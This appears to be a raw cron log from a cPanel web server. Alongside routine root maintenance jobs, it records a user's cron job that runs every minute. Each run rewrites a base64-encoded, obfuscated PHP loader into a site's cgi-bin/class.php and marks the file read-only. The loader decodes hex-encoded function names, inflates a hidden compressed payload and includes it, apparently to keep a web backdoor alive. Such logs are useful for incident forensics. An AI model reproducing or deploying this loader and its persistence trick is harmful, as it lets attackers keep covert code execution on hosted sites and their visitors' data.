Nov 12 02:46:01 server CROND[4748]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 02:47:01 server CROND[5572]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 02:47:01 server CROND[5573]: (root) CMD ((/usr/local/cpanel/scripts/fix-cpanel-perl; /usr/local/cpanel/scripts/upcp --cron &gt; /dev/null 2&gt;&amp;1 &gt; /dev/null))
Nov 12 02:48:01 server CROND[6514]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 02:49:01 server CROND[7335]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 02:50:01 server CROND[8231]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 02:50:01 server CROND[8229]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 12 02:50:01 server CROND[8228]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 02:50:01 server CROND[8232]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 02:50:01 server CROND[8230]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 12 02:50:07 server crontab[8443]: (root) LIST (root)
Nov 12 02:50:07 server crontab[8446]: (root) LIST (root)
Nov 12 02:50:13 server crontab[8666]: (root) LIST (root)
Nov 12 02:51:01 server CROND[9932]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 02:52:01 server CROND[10794]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 02:53:01 server CROND[11748]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 02:54:01 server CROND[12497]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 02:55:01 server CROND[13320]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 02:55:01 server CROND[13321]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 02:55:01 server CROND[13322]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 02:56:01 server CROND[14202]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 02:57:01 server CROND[14794]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 12 02:57:01 server CROND[14795]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 02:58:01 server CROND[15311]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 02:59:01 server CROND[16117]: (root) CMD (/usr/local/cpanel/whostmgr/docroot/cgi/cpaddons_report.pl --notify)
